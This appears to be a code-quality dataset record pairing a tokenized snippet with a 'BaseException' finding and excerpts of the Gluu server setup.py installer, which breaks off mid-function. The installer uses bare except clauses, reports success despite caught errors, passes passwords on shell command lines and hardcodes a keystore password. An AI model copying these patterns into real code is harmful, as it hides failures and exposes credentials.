")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "p_", "==_", "ctx_", "._", "inf_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "max_", "(_", "ctx_", "._", "fsu", "m_", "(_", "(_", "A_", "[_", "i_", ",_", "j_", "]_", "for_", "j_", "in_", "xrange_", "(_", "n_", ")_", ")_", ",_", "absolute_", "=_", "1_", ")_", "for_", "i_", "in_", "xrange_", "(_", "m_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Not", "Impl", "ement", "ed", "Error_", "(_", "\"", "matrix", " ", "p", "-", "norm", " ", "for", " ", "arbitra", "ry", " ", "p", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
GluuFederation/community-edition-setup/setup.py
[ { "content": "#!/usr/bin/python\n\n# The MIT License (MIT)\n#\n# Copyright (c) 2014 Gluu\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n# SOFTWARE.\n\n\nimport os.path\nimport Properties\nimport random\nimport shutil\nimport socket\nimport string\nimport time\nimport uuid\nimport json\nimport traceback\nimport subprocess\nimport sys\nimport getopt\nimport hashlib\nimport re\n\n\n############################ Main Loop #################################################\n\n\n\nif __name__ == '__main__':\n\n setupOptions = {\n 'install_dir': '.',\n 'setup_properties': None,\n 'noPrompt': False,\n 'downloadWars': False,\n 'installOxAuth': True,\n 'installOxTrust': True,\n 'installLDAP': True,\n 'installHTTPD': True,\n 'installSaml': False,\n 'installAsimba': False,\n 'installCas': False,\n 'installOxAuthRP': False\n }\n if len(sys.argv) > 1:\n setupOptions = getOpts(sys.argv[1:], setupOptions)\n\n installObject = Setup(setupOptions['install_dir'])\n\n installObject.downloadWars = setupOptions['downloadWars']\n\n installObject.installOxAuth = setupOptions['installOxAuth']\n installObject.installOxTrust = setupOptions['installOxTrust']\n installObject.installLdap = setupOptions['installLDAP']\n installObject.installHttpd = setupOptions['installHTTPD']\n installObject.installSaml = setupOptions['installSaml']\n installObject.installAsimba = setupOptions['installAsimba']\n installObject.installCas = setupOptions['installCas']\n installObject.installOxAuthRP = setupOptions['installOxAuthRP']\n\n # Get the OS type\n installObject.os_type = installObject.detect_os_type()\n # Get the init type \n installObject.os_initdaemon = installObject.detect_initd()\n # Get apache version \n installObject.apache_version = installObject.determineApacheVersionForOS()\n # Get OpenDJ version \n installObject.opendj_version = installObject.determineOpenDJVersion()\n\n print \"\\nInstalling Gluu Server...\"\n print \"Detected OS : %s\" % installObject.os_type\n print \"Detected init: %s\" % installObject.os_initdaemon\n print \"Detected Apache: %s\" % installObject.apache_version\n print \"Detected OpenDJ: %s\" % installObject.opendj_version\n\n print \"\\nInstalling Gluu Server...\\n\\nFor more info see:\\n %s \\n %s\\n\" % (installObject.log, installObject.logError)\n print \"\\n** All clear text passwords contained in %s.\\n\" % installObject.savedProperties\n try:\n os.remove(installObject.log)\n installObject.logIt('Removed %s' % installObject.log)\n except:\n pass\n try:\n os.remove(installObject.logError)\n installObject.logIt('Removed %s' % installObject.logError)\n except:\n pass\n\n installObject.logIt(\"Installing Gluu Server\", True)\n\n if setupOptions['setup_properties']:\n installObject.logIt('%s Properties found!\\n' % setupOptions['setup_properties'])\n installObject.load_properties(setupOptions['setup_properties'])\n elif os.path.isfile(installObject.setup_properties_fn):\n installObject.logIt('%s Properties found!\\n' % installObject.setup_properties_fn)\n installObject.load_properties(installObject.setup_properties_fn)\n else:\n installObject.logIt(\"%s Properties not found. Interactive setup commencing...\" % installObject.setup_properties_fn)\n installObject.promptForProperties()\n\n # Validate Properties\n installObject.check_properties()\n\n # Show to properties for approval\n print '\\n%s\\n' % `installObject`\n proceed = \"NO\"\n if not setupOptions['noPrompt']:\n proceed = raw_input('Proceed with these values [Y|n] ').lower().strip()\n if (setupOptions['noPrompt'] or not len(proceed) or (len(proceed) and (proceed[0] == 'y'))):\n try:\n installObject.makeFolders()\n installObject.make_salt()\n installObject.make_oxauth_salt()\n installObject.downloadWarFiles()\n installObject.configure_opendj_install()\n installObject.copy_scripts()\n installObject.encode_passwords()\n installObject.generate_scim_configuration()\n installObject.configure_oxtrust()\n installObject.render_templates()\n installObject.render_test_templates()\n installObject.generate_crypto()\n installObject.generate_oxauth_openid_keys()\n installObject.generate_base64_configuration()\n installObject.render_configuration_template()\n installObject.update_hostname()\n installObject.configure_httpd()\n installObject.setup_opendj()\n installObject.configure_opendj()\n installObject.index_opendj('userRoot')\n installObject.index_opendj('site')\n installObject.import_ldif()\n installObject.deleteLdapPw()\n installObject.export_opendj_public_cert()\n installObject.install_saml()\n installObject.copy_output()\n installObject.setup_init_scripts()\n installObject.copy_static()\n installObject.install_cas_war()\n installObject.install_asimba_war()\n installObject.install_oxauth_rp_war()\n installObject.change_ownership()\n installObject.change_permissions()\n installObject.start_services()\n installObject.save_properties()\n except:\n installObject.logIt(\"***** Error caught in main loop *****\", True)\n installObject.logIt(traceback.format_exc(), True)\n print \"\\n\\n Gluu Server installation successful! Point your browser to https://%s\\n\\n\" % installObject.hostname\n else:\n installObject.save_properties()\n print \"Properties saved to %s. Change filename to %s if you want to re-use\" % \\\n (installObject.savedProperties, installObject.setup_properties_fn)\n\n# END\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": " def __repr__(self):\n try:\n return 'hostname'.ljust(30) + self.hostname.rjust(35) + \"\\n\" \\\n + 'orgName'.ljust(30) + self.orgName.rjust(35) + \"\\n\" \\\n + 'os'.ljust(30) + self.os_type.rjust(35) + \"\\n\" \\\n + 'city'.ljust(30) + self.city.rjust(35) + \"\\n\" \\\n + 'state'.ljust(30) + self.state.rjust(35) + \"\\n\" \\\n + 'countryCode'.ljust(30) + self.countryCode.rjust(35) + \"\\n\" \\\n + 'support email'.ljust(30) + self.admin_email.rjust(35) + \"\\n\" \\\n + 'tomcat max ram'.ljust(30) + self.tomcat_max_ram.rjust(35) + \"\\n\" \\\n + 'Admin Pass'.ljust(30) + self.ldapPass.rjust(35) + \"\\n\" \\\n + 'Install oxAuth'.ljust(30) + `self.installOxAuth`.rjust(35) + \"\\n\" \\\n + 'Install oxTrust'.ljust(30) + `self.installOxAuth`.rjust(35) + \"\\n\" \\\n + 'Install LDAP'.ljust(30) + `self.installLdap`.rjust(35) + \"\\n\" \\\n + 'Install Apache 2 web server'.ljust(30) + `self.installHttpd`.rjust(35) + \"\\n\" \\\n + 'Install Shibboleth 2 SAML IDP'.ljust(30) + `self.installSaml`.rjust(35) + \"\\n\" \\\n + 'Install Asimba SAML Proxy'.ljust(30) + `self.installAsimba`.rjust(35) + \"\\n\" \\\n + 'Install CAS'.ljust(30) + `self.installCas`.rjust(35) + \"\\n\" \\\n + 'Install oxAuth RP'.ljust(30) + `self.installOxAuthRP`.rjust(35) + \"\\n\"\n except:\n s = \"\"\n for key in self.__dict__.keys():\n val = self.__dict__[key]\n s = s + \"%s\\n%s\\n%s\\n\\n\" % (key, \"-\" * len(key), val)\n return s", "metadata": "root.Setup.__repr__", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 321 }, { "content": " def add_ldap_schema(self):\n try:\n self.logIt(\"Copying LDAP schema\")\n for schemaFile in self.schemaFiles:\n self.copyFile(schemaFile, self.schemaFolder)\n self.run(['chown', '-R', 'ldap:ldap', self.ldapBaseFolder])\n except:\n self.logIt(\"Error adding schema\")\n self.logIt(traceback.format_exc(), True)", "metadata": "root.Setup.add_ldap_schema", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 347 }, { "content": " def get_ip(self):\n testIP = None\n detectedIP = None\n try:\n testSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n detectedIP = [(testSocket.connect(('8.8.8.8', 80)),\n testSocket.getsockname()[0],\n testSocket.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]\n except:\n self.logIt(\"No detected IP address\", True)\n self.logIt(traceback.format_exc(), True)\n if detectedIP:\n testIP = self.getPrompt(\"Enter IP Address\", detectedIP)\n else:\n testIP = self.getPrompt(\"Enter IP Address\")\n if not self.isIP(testIP):\n testIP = None\n print 'ERROR: The IP Address is invalid. Try again\\n'\n return testIP", "metadata": "root.Setup.get_ip", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 376 }, { "content": " def check_properties(self):\n self.logIt('Checking properties')\n while not self.hostname:\n testhost = raw_input('Hostname of this server: ').strip()\n if len(testhost.split('.')) >= 3:\n self.hostname = testhost\n else:\n print 'The hostname has to be at least three domain components. Try again\\n'\n while not self.ip:\n self.ip = self.get_ip()\n while not self.orgName:\n self.orgName = raw_input('Organization Name: ').strip()\n while not self.countryCode:\n testCode = raw_input('2 Character Country Code: ').strip()\n if len(testCode) == 2:\n self.countryCode = testCode\n else:\n print 'Country code should only be two characters. Try again\\n'\n while not self.city:\n self.city = raw_input('City: ').strip()\n while not self.state:\n self.state = raw_input('State or Province: ').strip()\n if not self.admin_email:\n tld = None\n try:\n tld = \".\".join(self.hostname.split(\".\")[-2:])\n except:\n tld = self.hostname\n self.admin_email = \"support@%s\" % tld\n if not self.httpdKeyPass:\n self.httpdKeyPass = self.getPW()\n if not self.ldapPass:\n self.ldapPass = self.getPW()\n if not self.shibJksPass:\n self.shibJksPass = self.getPW()\n if not self.asimbaJksPass:\n self.asimbaJksPass = self.getPW()\n if not self.encode_salt:\n self.encode_salt= self.getPW() + self.getPW()\n if not self.baseInum:\n self.baseInum = '@!%s.%s.%s.%s' % tuple([self.getQuad() for i in xrange(4)])\n if not self.inumOrg:\n orgTwoQuads = '%s.%s' % tuple([self.getQuad() for i in xrange(2)])\n self.inumOrg = '%s!0001!%s' % (self.baseInum, orgTwoQuads)\n if not self.inumAppliance:\n applianceTwoQuads = '%s.%s' % tuple([self.getQuad() for i in xrange(2)])\n self.inumAppliance = '%s!0002!%s' % (self.baseInum, applianceTwoQuads)\n if not self.oxauth_client_id:\n clientTwoQuads = '%s.%s' % tuple([self.getQuad() for i in xrange(2)])\n self.oxauth_client_id = '%s!0008!%s' % (self.inumOrg, clientTwoQuads)\n if not self.scim_rs_client_id:\n scimClientTwoQuads = '%s.%s' % tuple([self.getQuad() for i in xrange(2)])\n self.scim_rs_client_id = '%s!0008!%s' % (self.inumOrg, scimClientTwoQuads)\n if not self.scim_rp_client_id:\n scimClientTwoQuads = '%s.%s' % tuple([self.getQuad() for i in xrange(2)])\n self.scim_rp_client_id = '%s!0008!%s' % (self.inumOrg, scimClientTwoQuads)\n if not self.inumApplianceFN:\n self.inumApplianceFN = self.inumAppliance.replace('@', '').replace('!', '').replace('.', '')\n if not self.inumOrgFN:\n self.inumOrgFN = self.inumOrg.replace('@', '').replace('!', '').replace('.', '')", "metadata": "root.Setup.check_properties", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 396 }, { "content": " def choose_from_list(self, list_of_choices, choice_name=\"item\", default_choice_index=0):\n return_value = None\n choice_map = {}\n chosen_index = 0\n print \"\\nSelect the number for the %s from the following list:\" % choice_name\n for choice in list_of_choices:\n choice_map[chosen_index] = choice\n chosen_index += 1\n print \" [%i] %s\" % (chosen_index, choice)\n while not return_value:\n choice_number = self.getPrompt(\"Please select a number listed above\", str(default_choice_index + 1))\n try:\n choice_number = int(choice_number) - 1\n if (choice_number >= 0) & (choice_number < len(list_of_choices)):\n return_value = choice_map[choice_number]\n else:\n print '\"%i\" is not a valid choice' % (choice_number + 1)\n except:\n print 'Cannot convert \"%s\" to a number' % choice_number\n self.logIt(traceback.format_exc(), True)\n return return_value", "metadata": "root.Setup.choose_from_list", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 457 }, { "content": " def configure_opendj(self):\n try:\n self.logIt(\"Making LDAP configuration changes\")\n if self.opendj_version == \"2.6\":\n opendj_prop_name = 'global-aci:\\'(targetattr!=\"userPassword||authPassword||changes||changeNumber||changeType||changeTime||targetDN||newRDN||newSuperior||deleteOldRDN||targetEntryUUID||changeInitiatorsName||changeLogCookie||includedAttributes\")(version 3.0; acl \"Anonymous read access\"; allow (read,search,compare) userdn=\"ldap:///anyone\";)\\''\n else:\n opendj_prop_name = 'global-aci:\\'(targetattr!=\"userPassword||authPassword||debugsearchindex||changes||changeNumber||changeType||changeTime||targetDN||newRDN||newSuperior||deleteOldRDN\")(version 3.0; acl \"Anonymous read access\"; allow (read,search,compare) userdn=\"ldap:///anyone\";)\\''\n config_changes = [['set-global-configuration-prop', '--set', 'single-structural-objectclass-behavior:accept'],\n ['set-attribute-syntax-prop', '--syntax-name', '\"Directory String\"', '--set', 'allow-zero-length-values:true'],\n ['set-password-policy-prop', '--policy-name', '\"Default Password Policy\"', '--set', 'allow-pre-encoded-passwords:true'],\n ['set-log-publisher-prop', '--publisher-name', '\"File-Based Audit Logger\"', '--set', 'enabled:true'],\n ['create-backend', '--backend-name', 'site', '--set', 'base-dn:o=site', '--type %s' % self.ldap_backend_type, '--set', 'enabled:true'],\n ['set-connection-handler-prop', '--handler-name', '\"LDAP Connection Handler\"', '--set', 'enabled:false'],\n ['set-access-control-handler-prop', '--remove', '%s' % opendj_prop_name],\n ['set-global-configuration-prop', '--set', 'reject-unauthenticated-requests:true'],\n ['set-password-policy-prop', '--policy-name', '\"Default Password Policy\"', '--set', 'default-password-storage-scheme:\"Salted SHA-512\"'],\n ['set-global-configuration-prop', '--set', 'reject-unauthenticated-requests:true']\n ]\n for changes in config_changes:\n dsconfigCmd = \" \".join(['cd %s/bin ; ' % self.ldapBaseFolder,\n self.ldapDsconfigCommand,\n '--trustAll',\n '--no-prompt',\n '--hostname',\n self.ldap_hostname,\n '--port',\n self.ldap_admin_port,\n '--bindDN',\n '\"%s\"' % self.ldap_binddn,\n '--bindPasswordFile',\n self.ldapPassFn] + changes)\n self.run(['/bin/su',\n 'ldap',\n '-c',\n dsconfigCmd])\n except:\n self.logIt(\"Error executing config changes\", True)\n self.logIt(traceback.format_exc(), True)", "metadata": "root.Setup.configure_opendj", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 501 }, { "content": " def copyFile(self, inFile, destFolder):\n try:\n shutil.copy(inFile, destFolder)\n self.logIt(\"Copied %s to %s\" % (inFile, destFolder))\n except:\n self.logIt(\"Error copying %s to %s\" % (inFile, destFolder), True)\n self.logIt(traceback.format_exc(), True)", "metadata": "root.Setup.copyFile", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 540 }, { "content": " def copyTree(self, src, dst, symlinks=False, ignore=None):\n try:\n if not os.path.exists(dst):\n os.makedirs(dst)\n\n for item in os.listdir(src):\n s = os.path.join(src, item)\n d = os.path.join(dst, item)\n if os.path.isdir(s):\n self.copyTree(s, d, symlinks, ignore)\n else:\n if not os.path.exists(d) or os.stat(s).st_mtime - os.stat(d).st_mtime > 1:\n shutil.copy2(s, d)\n\n self.logIt(\"Copied tree %s to %s\" % (src, dst))\n except:\n self.logIt(\"Error copying tree %s to %s\" % (src, dst), True)\n self.logIt(traceback.format_exc(), True)", "metadata": "root.Setup.copyTree", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 548 }, { "content": " def copy_output(self):\n self.logIt(\"Copying rendered templates to final destination\")\n\n # Detect sevice path and apache service name\n service_path = '/sbin/service'\n apache_service_name = 'httpd'\n if self.os_type in ['debian', 'ubuntu']:\n service_path = '/usr/sbin/service'\n apache_service_name = 'apache2'\n\n self.run([service_path, apache_service_name, 'stop'])\n for dest_fn in self.ce_templates.keys():\n if self.ce_templates[dest_fn]:\n fn = os.path.split(dest_fn)[-1]\n output_fn = os.path.join(self.outputFolder, fn)\n try:\n self.logIt(\"Copying %s to %s\" % (output_fn, dest_fn))\n\n dest_dir = os.path.dirname(dest_fn)\n if not os.path.exists(dest_dir):\n self.logIt(\"Created destination folder %s\" % dest_dir)\n os.makedirs(dest_dir);\n\n shutil.copyfile(output_fn, dest_fn)\n except:\n self.logIt(\"Error writing %s to %s\" % (output_fn, dest_fn), True)\n self.logIt(traceback.format_exc(), True)\n\n self.run([service_path, apache_service_name, 'start'])", "metadata": "root.Setup.copy_output", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 567 }, { "content": " def copy_scripts(self):\n self.logIt(\"Copying script files\")\n for script in self.gluuScriptFiles:\n self.copyFile(script, self.gluuOptBinFolder)\n self.logIt(\"Rendering encode.py\")\n try:\n f = open('%s/encode.py' % self.templateFolder)\n encode_script = f.read()\n f.close()\n f = open(\"%s/encode.py\" % self.gluuOptBinFolder, 'w')\n f.write(encode_script % self.__dict__)\n f.close()\n except:\n self.logIt(\"Error rendering encode script\")\n self.logIt(traceback.format_exc(), True)\n self.run([\"chmod\", '-R', '700', self.gluuOptBinFolder])", "metadata": "root.Setup.copy_scripts", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 597 }, { "content": " def createDirs(self, name):\n try:\n if not os.path.exists(name):\n os.makedirs(name, 0700)\n self.logIt('Created dir: %s' % name)\n except:\n self.logIt(\"Error making directory %s\" % name, True)\n self.logIt(traceback.format_exc(), True)", "metadata": "root.Setup.createDirs", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 631 }, { "content": " def deleteLdapPw(self):\n try:\n os.remove(self.ldapPassFn)\n os.remove(os.path.join(self.ldapBaseFolder, 'opendj-setup.properties'))\n except:\n self.logIt(\"Error deleting ldap pw. Make sure %s is deleted\" % self.ldapPassFn)\n self.logIt(traceback.format_exc(), True)", "metadata": "root.Setup.deleteLdapPw", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 640 }, { "content": " def encode_passwords(self):\n self.logIt(\"Encoding passwords\")\n try:\n self.encoded_ldap_pw = self.ldap_encode(self.ldapPass)\n \n cmd = \"%s %s\" % (self.oxEncodePWCommand, self.shibJksPass)\n self.encoded_shib_jks_pw = os.popen(cmd, 'r').read().strip()\n cmd = \"%s %s\" % (self.oxEncodePWCommand, self.ldapPass)\n self.encoded_ox_ldap_pw = os.popen(cmd, 'r').read().strip()\n self.oxauthClient_pw = self.getPW()\n cmd = \"%s %s\" % (self.oxEncodePWCommand, self.oxauthClient_pw)\n self.oxauthClient_encoded_pw = os.popen(cmd, 'r').read().strip()\n\n self.oxauthClient_2_pw = self.getPW()\n cmd = \"%s %s\" % (self.oxEncodePWCommand, self.oxauthClient_2_pw)\n self.oxauthClient_2_encoded_pw = os.popen(cmd, 'r').read().strip()\n\n self.oxauthClient_3_pw = self.getPW()\n cmd = \"%s %s\" % (self.oxEncodePWCommand, self.oxauthClient_3_pw)\n self.oxauthClient_3_encoded_pw = os.popen(cmd, 'r').read().strip()\n\n self.oxauthClient_4_pw = self.getPW()\n cmd = \"%s %s\" % (self.oxEncodePWCommand, self.oxauthClient_4_pw)\n self.oxauthClient_4_encoded_pw = os.popen(cmd, 'r').read().strip()\n except:\n self.logIt(\"Error encoding passwords\", True)\n self.logIt(traceback.format_exc(), True)", "metadata": "root.Setup.encode_passwords", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 714 }, { "content": " def export_opendj_public_cert(self):\n # Load password to acces OpenDJ truststore\n self.logIt(\"Reading OpenDJ truststore\")\n\n openDjPinFn = '%s/config/keystore.pin' % self.ldapBaseFolder\n openDjTruststoreFn = '%s/config/truststore' % self.ldapBaseFolder\n\n openDjPin = None\n try:\n f = open(openDjPinFn)\n openDjPin = f.read().splitlines()[0]\n f.close()\n except:\n self.logIt(\"Error reding OpenDJ truststore\", True)\n self.logIt(traceback.format_exc(), True)\n\n # Export public OpenDJ certificate\n self.logIt(\"Exporting OpenDJ certificate\")\n self.run([self.keytoolCommand,\n '-exportcert',\n '-keystore',\n openDjTruststoreFn,\n '-storepass',\n openDjPin,\n '-file',\n self.openDjCertFn,\n '-alias',\n 'server-cert',\n '-rfc'])\n\n # Import OpenDJ certificate into java truststore\n self.logIt(\"Import OpenDJ certificate\")\n\n self.run([\"/usr/bin/keytool\", \"-import\", \"-trustcacerts\", \"-alias\", \"%s_opendj\" % self.hostname, \\\n \"-file\", self.openDjCertFn, \"-keystore\", self.defaultTrustStoreFN, \\\n \"-storepass\", \"changeit\", \"-noprompt\"])", "metadata": "root.Setup.export_opendj_public_cert", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 742 }, { "content": " def generate_crypto(self):\n try:\n self.logIt('Generating certificates and keystores')\n self.gen_cert('httpd', self.httpdKeyPass, 'tomcat')\n self.gen_cert('shibIDP', self.shibJksPass, 'tomcat')\n self.gen_cert('asimba', self.asimbaJksPass, 'tomcat')\n # Shibboleth IDP and Asimba will be added soon...\n self.gen_keystore('shibIDP',\n self.shibJksFn,\n self.shibJksPass,\n '%s/shibIDP.key' % self.certFolder,\n '%s/shibIDP.crt' % self.certFolder,\n 'tomcat')\n self.gen_keystore('asimba',\n self.asimbaJksFn,\n self.asimbaJksPass,\n '%s/asimba.key' % self.certFolder,\n '%s/asimba.crt' % self.certFolder,\n 'tomcat')\n self.run(['/bin/chown', '-R', 'tomcat:tomcat', self.certFolder])\n self.run(['/bin/chmod', '-R', '500', self.certFolder])\n except:\n self.logIt(\"Error generating cyrpto\")\n self.logIt(traceback.format_exc(), True)", "metadata": "root.Setup.generate_crypto", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 838 }, { "content": " def gen_openid_keys(self):\n self.logIt(\"Generating oxAuth OpenID Connect keys\")\n self.copyFile(\"%s/static/oxauth/lib/oxauth.jar\" % self.install_dir, self.tomcat_user_home_lib)\n self.copyFile(\"%s/static/oxauth/lib/jettison-1.3.jar\" % self.install_dir, self.tomcat_user_home_lib)\n self.copyFile(\"%s/static/oxauth/lib/oxauth-model.jar\" % self.install_dir, self.tomcat_user_home_lib)\n self.copyFile(\"%s/static/oxauth/lib/bcprov-jdk16-1.46.jar\" % self.install_dir, self.tomcat_user_home_lib)\n self.copyFile(\"%s/static/oxauth/lib/commons-codec-1.5.jar\" % self.install_dir, self.tomcat_user_home_lib)\n self.copyFile(\"%s/static/oxauth/lib/commons-lang-2.6.jar\" % self.install_dir, self.tomcat_user_home_lib)\n self.copyFile(\"%s/static/oxauth/lib/log4j-1.2.14.jar\" % self.install_dir, self.tomcat_user_home_lib)\n\n self.change_ownership()\n\n requiredJars =['%s/bcprov-jdk16-1.46.jar' % self.tomcat_user_home_lib,\n '%s/commons-lang-2.6.jar' % self.tomcat_user_home_lib,\n '%s/log4j-1.2.14.jar' % self.tomcat_user_home_lib,\n '%s/commons-codec-1.5.jar' % self.tomcat_user_home_lib,\n '%s/jettison-1.3.jar' % self.tomcat_user_home_lib,\n '%s/oxauth-model.jar' % self.tomcat_user_home_lib,\n '%s/oxauth.jar' % self.tomcat_user_home_lib]\n\n cmd = \" \".join([\"/usr/java/latest/bin/java\",\n \"-Dlog4j.defaultInitOverride=true\",\n \"-cp\",\n \":\".join(requiredJars),\n \"org.xdi.oxauth.util.KeyGenerator\"])\n args = [\"/bin/su\", \"tomcat\", \"-c\", cmd]\n\n self.logIt(\"Runnning: %s\" % \" \".join(args))\n try:\n p = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n output, err = p.communicate()\n p.wait()\n if err:\n self.logIt(err, True)\n if output:\n return output.split(os.linesep)\n except:\n self.logIt(\"Error running command : %s\" % \" \".join(args), True)\n self.logIt(traceback.format_exc(), True)\n\n return None", "metadata": "root.Setup.gen_openid_keys", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 905 }, { "content": " def write_openid_keys(self, fn, jwks):\n self.logIt(\"Writing oxAuth OpenID Connect keys\")\n if not jwks:\n self.logIt(\"Failed to write oxAuth OpenID Connect key to %s\" % fn)\n return\n\n try:\n jwks_text = '\\n'.join(jwks)\n f = open(fn, 'w')\n f.write(jwks_text)\n f.close()\n self.run([\"/bin/chown\", 'tomcat:tomcat', fn])\n self.run([\"/bin/chmod\", '600', fn])\n self.logIt(\"Wrote oxAuth OpenID Connect key to %s\" % fn)\n except:\n self.logIt(\"Error writing command : %s\" % fn, True)\n self.logIt(traceback.format_exc(), True)", "metadata": "root.Setup.write_openid_keys", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 947 }, { "content": " def getPrompt(self, prompt, defaultValue=None):\n try:\n if defaultValue:\n user_input = raw_input(\"%s [%s] : \" % (prompt, defaultValue)).strip()\n if user_input == '':\n return defaultValue\n else:\n return user_input\n else:\n input = False\n while not input:\n user_input = raw_input(\"%s : \" % prompt).strip()\n if user_input != '':\n input = True\n return user_input\n except KeyboardInterrupt:\n sys.exit()\n except:\n return None", "metadata": "root.Setup.getPrompt", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 995 }, { "content": " def index_opendj(self, backend):\n if self.opendj_version == \"2.6\":\n index_command = 'create-local-db-index'\n else:\n index_command = 'create-backend-index'\n \n try:\n self.logIt(\"Running LDAP index creation commands for \" + backend + \" backend\")\n # This json file contains a mapping of the required indexes.\n # [ { \"attribute\": \"inum\", \"type\": \"string\", \"index\": [\"equality\"] }, ...}\n index_json = self.load_json(self.indexJson)\n if index_json:\n for attrDict in index_json:\n attr_name = attrDict['attribute']\n index_types = attrDict['index']\n for index_type in index_types:\n backend_names = attrDict['backend']\n for backend_name in backend_names:\n if (backend_name == backend):\n self.logIt(\"Creating %s index for attribute %s\" % (index_type, attr_name))\n indexCmd = \" \".join(['cd %s/bin ; ' % self.ldapBaseFolder,\n self.ldapDsconfigCommand,\n index_command,\n '--backend-name',\n backend,\n '--type',\n 'generic',\n '--index-name',\n attr_name,\n '--set',\n 'index-type:%s' % index_type,\n '--set',\n 'index-entry-limit:4000',\n '--hostName',\n self.ldap_hostname,\n '--port',\n self.ldap_admin_port,\n '--bindDN',\n '\"%s\"' % self.ldap_binddn,\n '-j', self.ldapPassFn,\n '--trustAll',\n '--noPropertiesFile',\n '--no-prompt'])\n self.run(['/bin/su',\n 'ldap',\n '-c',\n indexCmd])\n else:\n self.logIt('NO indexes found %s' % self.indexJson, True)\n except:\n self.logIt(\"Error occured during backend \" + backend + \" LDAP indexing\", True)\n self.logIt(traceback.format_exc(), True)", "metadata": "root.Setup.index_opendj", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 1089 }, { "content": " def load_properties(self, fn):\n self.logIt('Loading Properties %s' % fn)\n p = Properties.Properties()\n try:\n p.load(open(fn))\n properties_list = p.keys()\n for prop in properties_list:\n try:\n self.__dict__[prop] = p[prop]\n except:\n self.logIt(\"Error loading property %s\" % prop)\n self.logIt(traceback.format_exc(), True)\n except:\n self.logIt(\"Error loading properties\", True)\n self.logIt(traceback.format_exc(), True)", "metadata": "root.Setup.load_properties", "header": "['class', 'Setup', '(', 'object', ')', ':', '___EOS___']", "index": 1307 }, { "content": " def load_json(self, fn):\n self.logIt('Loading JSON from %s' % fn)\n try:\n json_file = open(fn)\n json_text = json_file.read()\n json_file.close()\n return json.loads(json_text)\n except:\n 